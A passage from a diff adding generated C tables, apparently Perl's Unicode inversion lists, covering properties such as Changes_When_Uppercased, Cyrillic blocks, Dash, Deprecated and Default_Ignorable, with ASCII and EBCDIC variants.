+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWU_invlist[] = { /* for EBCDIC 037 */
+	1229,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xCB,
+	0xD0,
+	0xDB,
+	0xE0,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x138,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18D,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19B,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BA,
+	0x1BD,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C5,
+	0x1C7,
+	0x1C8,
+	0x1CA,
+	0x1CB,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F2,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x234,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x377,
+	0x378,
+	0x37B,
+	0x37E,
+	0x390,
+	0x391,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FC,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x530,
+	0x561,
+	0x588,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
+	0x1E9C,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FD8,
+	0x1FE0,
+	0x1FE8,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_CYPRIOTSYLLABARY_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10800,
+	0x10840
+};
+
+static const UV PL_CYRILLICEXTA_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2DE0,
+	0x2E00
+};
+
+static const UV PL_CYRILLICEXTB_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA640,
+	0xA6A0
+};
+
+static const UV PL_CYRILLICEXTC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1C80,
+	0x1C90
+};
+
+static const UV PL_CYRILLICSUP_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x500,
+	0x530
+};
+
+static const UV PL_CYRL_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x400,
+	0x530,
+	0x1C80,
+	0x1C89,
+	0x1D2B,
+	0x1D2C,
+	0x1D78,
+	0x1D79,
+	0x2DE0,
+	0x2E00,
+	0x2E43,
+	0x2E44,
+	0xA640,
+	0xA6A0,
+	0xFE2E,
+	0xFE30
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DASH_invlist[] = { /* for ASCII/Latin1 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2D,
+	0x2E,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2053,
+	0x2054,
+	0x207B,
+	0x207C,
+	0x208B,
+	0x208C,
+	0x2212,
+	0x2213,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DASH_invlist[] = { /* for EBCDIC 1047 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2053,
+	0x2054,
+	0x207B,
+	0x207C,
+	0x208B,
+	0x208C,
+	0x2212,
+	0x2213,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DASH_invlist[] = { /* for EBCDIC 037 */
+	43,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x60,
+	0x61,
+	0x58A,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x1400,
+	0x1401,
+	0x1806,
+	0x1807,
+	0x2010,
+	0x2016,
+	0x2053,
+	0x2054,
+	0x207B,
+	0x207C,
+	0x208B,
+	0x208C,
+	0x2212,
+	0x2213,
+	0x2E17,
+	0x2E18,
+	0x2E1A,
+	0x2E1B,
+	0x2E3A,
+	0x2E3C,
+	0x2E40,
+	0x2E41,
+	0x301C,
+	0x301D,
+	0x3030,
+	0x3031,
+	0x30A0,
+	0x30A1,
+	0xFE31,
+	0xFE33,
+	0xFE58,
+	0xFE59,
+	0xFE63,
+	0xFE64,
+	0xFF0D,
+	0xFF0E
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_DEP_invlist[] = { /* for all charsets */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x149,
+	0x14A,
+	0x673,
+	0x674,
+	0xF77,
+	0xF78,
+	0xF79,
+	0xF7A,
+	0x17A3,
+	0x17A5,
+	0x206A,
+	0x2070,
+	0x2329,
+	0x232B,
+	0xE0001,
+	0xE0002
+};
+
+static const UV PL_DEVA_invlist[] = { /* for all charsets */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x900,
+	0x980,
+	0x1CD0,
+	0x1CF7,
+	0x1CF8,
+	0x1CFA,
+	0x20F0,
+	0x20F1,
+	0xA830,
+	0xA83A,
+	0xA8E0,
+	0xA8FE
+};
+
+static const UV PL_DEVANAGARIEXT_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xA8E0,
+	0xA900
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_DI_invlist[] = { /* for ASCII/Latin1 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xAD,
+	0xAE,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x3164,
+	0x3165,
+	0xFE00,
+	0xFE10,
+	0xFEFF,
+	0xFF00,
+	0xFFA0,
+	0xFFA1,
+	0xFFF0,
+	0xFFF9,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D173,
+	0x1D17B,
+	0xE0000,
+	0xE1000
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_DI_invlist[] = { /* for EBCDIC 1047 */
+	35,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xCA,
+	0xCB,
+	0x34F,
+	0x350,
+	0x61C,
+	0x61D,
+	0x115F,
+	0x1161,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x3164,
+	0x3165,
+	0xFE00,
